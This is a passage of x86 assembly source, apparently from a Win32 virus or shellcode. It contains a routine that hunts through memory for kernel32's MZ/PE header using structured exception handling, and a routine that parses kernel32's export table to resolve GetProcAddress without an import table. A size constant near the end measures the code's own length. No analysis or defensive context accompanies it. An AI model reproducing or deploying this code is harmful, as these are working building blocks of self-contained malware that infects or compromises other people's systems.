        ;but MZ is we assume an error and exit out
        ;with esi = 0
	and	esi,0FFFFF000h
	Pusha
	Lodsw
	Cmp	ax,'ZM'
        Jne     @@GetMZ_NotFound
	Add	esi, [esi + 3Ah]
	dec	esi
	dec	esi

	lodsw
	cmp	ax,'EP'
        je      @@GetMZ_Found

	xor	eax,eax
        mov     dword ptr [esp + 04h],eax       
        jmp     @@GetMZ_Found   ;Not really assume error and return with esi
	                        ; = 0

@@GetMZ_NotFound:
        popa
	sub	esi,1000h
        jmp     @@GetMZ_LoopFind

@@GetMZ_FindExcept:
	mov	eax, [esp + 08h]
	Lea	esp, [eax - 20h]
	popa
	pop	dword ptr fs:[0]
	inc	esp         ;esp + 4
	inc	esp
	inc	esp
	inc	esp
	sub	esi,1000h
        Jmp     @@GetMZ_SetSeh

@@GetMZ_Found:
	Popa            ;esi = the MZ header

        ;restore the the orginal SEH
	Pop	dword ptr fs:[0]
	Add	esp, 4

        ; Set our Eax to be the return Value
	Mov	dword ptr [ebp + 1ch],esi
	Popa

        Ret

GetMZ   EndP
;---------------------------

;==============================================================================
;Takes EAX = K32 VA
;Returns
;eax = K32 address or 0 if failure 
;fs:[14] = GetProcessAddress if Succcess
 
GetAPI  PROC WINDOWS PASCAL
 
;LOCAL   @@gaWorkSp:dword,@@gaGetPAdd:dword,@@gaNindex:dword,@@gaAddOrd:dword,@@gaAddName:dword,@@gaAddFunc:dword,@@gaLimit:dword,@@gaBASE:dword,@@gaK32:dword

LOCAL   @@gaWorkSp:dword
LOCAL   @@gaGetPAdd:dword
LOCAL   @@gaNindex:dword
LOCAL   @@gaAddOrd:dword
LOCAL   @@gaAddName:dword
LOCAL   @@gaAddFunc:dword
LOCAL   @@gaLimit:dword
LOCAL   @@gaBASE:dword
LOCAL   @@gaK32:dword

	pusha			;Save everthing
	Mov	Ebx,dword ptr[Eax + 3ch]
	add	Ebx,eax		;get PE location

        mov     [@@gaBASE],eax              ;save VA
	push	eax

        mov     [@@gaK32],ebx         ;save PE location
	mov	Eax,[Ebx + 78h]           ;Edata Loc

	pop	ebx
	lea	Esi,[Eax + Ebx + 10h]     ;should be the Base of the Edata
        Lea     Edi,[@@gaBASE]        ;Starting pnt for the ordinal
						;exported by this DLL
	;now that Esi and Edi point to the correct loactions
	;we can just lodsd instead of Mov eax,[]
	;then stosd instead of mov [],eax
	Lodsd                             ;save base
	stosd
	Lodsd                           ;Load the Total
					;number of Exports but trash

	lodsd                           ;get and save the Limit
	stosd                           ;this is the number of both
	;named and unamed functions Eported

	Lodsd                           ;get and save the address to
	add	eax,ebx                 ;the function's
	stosd

	Lodsd                           ;get and save the address to
	add	eax,ebx                 ;the names of the function
	stosd

	Lodsd                           ;get and save the address to
	add	eax,ebx                 ;the ordinals of the function
	stosd

gaLookLoop:

        Mov     Esi,[@@gaAddName]  ;first adrress of the first name
        Mov     [@@gaNindex],Esi   ;store where we are

	Mov     Edi,Ebx                ;get the load Add of K32
	Add Edi, [Esi]
	xor     Ecx,Ecx
gaTryAgain:
;find GetProcAddress
	cmp	[Edi],'PteG'
	jne	gaNextOne

	cmp	[Edi+4],'Acor'
	jne	gaNextOne

	cmp	[Edi+8],'erdd'
	jne	gaNextOne

	cmp	word ptr[Edi+0Ch],'ss'
	jne	gaNextOne

	cmp	byte ptr [Edi+0Eh],00
	jne	gaNextOne

	jmp	gaGotGetProcAdd

gaNextOne:

	inc	Ecx
        cmp     Ecx, [@@gaLimit]
	jge	gaNotFound1

        add     dword ptr [@@gaNindex],4
        Mov     Esi, [@@gaNindex]
	Mov	Edi, [Esi]
	Add	Edi, Ebx
	jmp	gaTryAgain
gaGotGetProcAdd:

;ok we have the index into the name array use this to get
; the index into the ord array

	shl	Ecx,1           ;*2 for a word array
        Mov     Esi, [@@gaAddOrd]
	add	Esi,Ecx         ;move to the correct spot in the array

	Movzx	Eax,word ptr [Esi]
	;ax = ordinal value

	shl	Eax,2           ;*4
        Mov     Esi, [@@gaAddFunc]
	Add	Esi, Eax

	Mov	Edi, dword ptr [Esi]
	add	Edi,ebx                 ;got the address of it

	xchg	Eax, Edi
        Mov     dword ptr [@@gaGetPAdd],eax
	jmp	gaOkFound

gaNotFound1:

	xor	Eax,Eax                   ;damn not found
	                      ;set the eax to 0

gaOkFound:
	Mov	fs:[14h],Eax              ;add the VA to it

	or	Eax,Eax
	jnz	gaOK
	Mov	[Esp + 1ch],Eax           ;set Eax to zero for Popa

gaOK:
	popa

	Ret
ENDP
;------------------------------
 

VSize   equ     $ - offset PEheader

fBuff   db      400h Dup(?)

 
  
         end     Begin




